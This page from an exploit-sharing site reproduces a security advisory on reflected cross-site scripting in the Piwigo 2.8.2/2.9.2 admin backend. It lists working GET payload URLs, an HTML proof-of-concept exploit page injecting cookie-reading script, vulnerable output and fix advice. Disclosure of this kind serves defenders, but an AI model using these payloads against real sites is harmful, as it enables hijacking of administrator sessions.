0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Piwigo 2.8.2 / 2.9.2 Cross Site Scripting Vulnerability
Document Title: =============== Piwigo v2.8.2 & 2.9.2 CMS - Multiple Cross Site Vulnerabilities Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500a! - 1.000a! Product & Service Introduction: =============================== Piwigo is a photo gallery software for the web, built by an active community of users and developers. Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and opensource. Piwigo site is available to 13 languages, piwigo to 56 languages. (Copy of the Homepage: http://piwigo.org/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple client-side cross site scripting vulnerabilities in the Piwigo v2.8.2, 2.9.1 & 2.9.2 CMS. Affected Product(s): ==================== Piwigo Product: Piwigo - Content Management System (Web-Application) 2.8.2 Technical Details & Description: ================================ Multiple client-side cross site scripting vulnerabilities has been discovered in the Piwigo v2.8.2 content management system. The vulnerability allows remote attackers to inject malicious script code to client-side browser to web-application requests. The client-side cross site scripting vulnerabilities are located in the `tab`,`to`,`section`,`mode`, `installstatus` and `display` parameters of the `admin.php` file. Remote attackers are able to inject own malicious script code to hijack admin or moderator session credentials or to manipulate the affected webpages. The attack vector is non-persistent and the request method to inject is GET. The injection points are the vulnerable parameters and the execution point occurs in the status message or exception of the backend. The issues affect the backend within the vulnerable modules context. The security risk of the vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.6. Exploitation of the web vulnerability requires no privileged web-application user account and only low user interaction. Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent external redirect to malicious sources and non-persistent manipulation of affected or connected web module context. Request Method(s): [+] GET Vulnerable File(s): [+] admin.php Vulnerable Parameter(s): [+] tab [+] to [+] section [+] mode [+] installstatus [+] display Affected Module(s): [+] Backend Proof of Concept (PoC): ======================= The client-side xss vulnerabilities can be exploited by remote attackers without privileged user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Payloads http://piwigo.localhost:8080/piwigo/admin.php?page=languages&tab=>"<img src=evil.source onload=alert(document.cookie)> http://piwigo.localhost:8080/piwigo/admin.php?page=updates&step=2&to=>"<iframe src=evil.source onload=alert(document.cookie)> http://piwigo.localhost:8080/piwigo/admin.php?page=configuration§ion=>"<img src=evil.source onload=alert(document.cookie)> http://piwigo.localhost:8080/piwigo/admin.php?page=notification_by_mail&mode=>"<iframe src=evil.source onload=alert(document.cookie)> http://piwigo.localhost:8080/piwigo/admin.php?page=batch_manager&mode=&display=>"<img src=evil.source onload=alert(document.cookie)> http://piwigo.localhost:8080/piwigo/admin.php?page=plugins&tab=new&installstatus=>"<iframe src=evil.source onload=alert(document.cookie)> PoC: Exploitation <html> <head><body> <title>PIWIGO v2.8.2 - CLIENT SIDE XSS - POC EXPLOIT</title> <iframe src=http://piwigo.localhost:8080/piwigo/admin.php?page=languages&tab=>"<img src=evil.source onload=alert(document.cookie)>> <iframe src=http://piwigo.localhost:8080/piwigo/admin.php?page=updates&step=2&to=>"<img src=evil.source onload=alert(document.cookie)>> <iframe src=http://piwigo.localhost:8080/piwigo/admin.php?page=configuration§ion=>"<img src=evil.source onload=alert(document.cookie)>> <iframe src=http://piwigo.localhost:8080/piwigo/admin.php?page=notification_by_mail&mode=>"<img src=evil.source onload=alert(document.cookie)>> <iframe src=http://piwigo.localhost:8080/piwigo/admin.php?page=batch_manager&mode=&display=>"<img src=evil.source onload=alert(document.cookie)>> <iframe src=http://piwigo.localhost:8080/piwigo/admin.php?page=plugins&tab=new&installstatus=>"<img src=evil.source onload=alert(document.cookie)>> </body></head> </html> Vulnerable Source: tab (exception - undefined) Notice: Undefined index: >"<[MALICIOUS PAYLOAD EXECUTION!]> in /home/x/public_html/x/piwigo/admin/include/tabsheet.class.php on line 111 Warning: include(./admin/languages_>"<[MALICIOUS PAYLOAD EXECUTION!]>.php): failed to open stream: No such file or directory in /home/x/public_html/x/piwigo/admin/languages.php on line 48 Warning: include(): Failed opening './admin/languages_>"<[MALICIOUS PAYLOAD EXECUTION!]>.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /home/x/public_html/x/piwigo/admin/languages.php on line 48 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en" dir="ltr"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="generator" content="Piwigo (aka PWG), see piwigo.org"> <title>Just another Piwigo gallery :: Piwigo Administration</title> <link rel="shortcut icon" type="image/x-icon" href="themes/default/icon/favicon.ico"> Vulnerable Source: to (form) <form action="" method="post"> <p><input name="submit" value="Update to Piwigo <[MALICIOUS PAYLOAD EXECUTION!]> " type="submit"><<><[MALICIOUS PAYLOAD EXECUTION!]> "></p> <p class="autoupdate_bar" style="display:none;">&nbps; Update in progress...<br><img src="admin/themes/default/images/ajax-loader-bar.gif"></p> <p><input type="hidden" name="upgrade_to" value="<iframe>" ><<><[MALICIOUS PAYLOAD EXECUTION!]> "></p> </form> Vulnerable Source: installstatus (error exception) <div id="content" class="content"> <div id="tabsheet"> <ul class="tabsheet"> <li class="normal_tab"> <a href="admin.php?page=plugins&tab=installed"><span>Plugins list</span></a> </li> <li class="normal_tab"> <a href="admin.php?page=plugins&tab=update"><span>Check for updates</span></a> </li> <li class="selected_tab"> <a href="admin.php?page=plugins&tab=new"><span>Other plugins available</span></a> </li> </ul> </div> <div class="errors"> <ul> <li>An error occured during the files (<[MALICIOUS PAYLOAD EXECUTION!]>) extraction.</li> <li>Please check "plugins" folder and sub-folders permissions (CHMOD).</li> </ul> </div> Reference(s): http://piwigo.localhost:8080/ http://piwigo.localhost:8080/piwigo/ http://piwigo.localhost:8080/piwigo/admin.php Solution - Fix & Patch: ======================= The xss web vulnerabilities can be patched by a secure restriction to the parameter inputs in GET method requests. Sanitize the vulnerable parameters and disallow the usage of special chars to prevent further script code injection attacks. Parse the output locations in the status messages or exception to resolve the client-side vulnerabilities. Escape the conetnts to deliver in a secure format. Security Risk: ============== The security risk of the client-side cross site scripting web vulnerabilities in the content management system are estimated as medium. (CVSS 3.4) # 0day.today [2024-11-15] #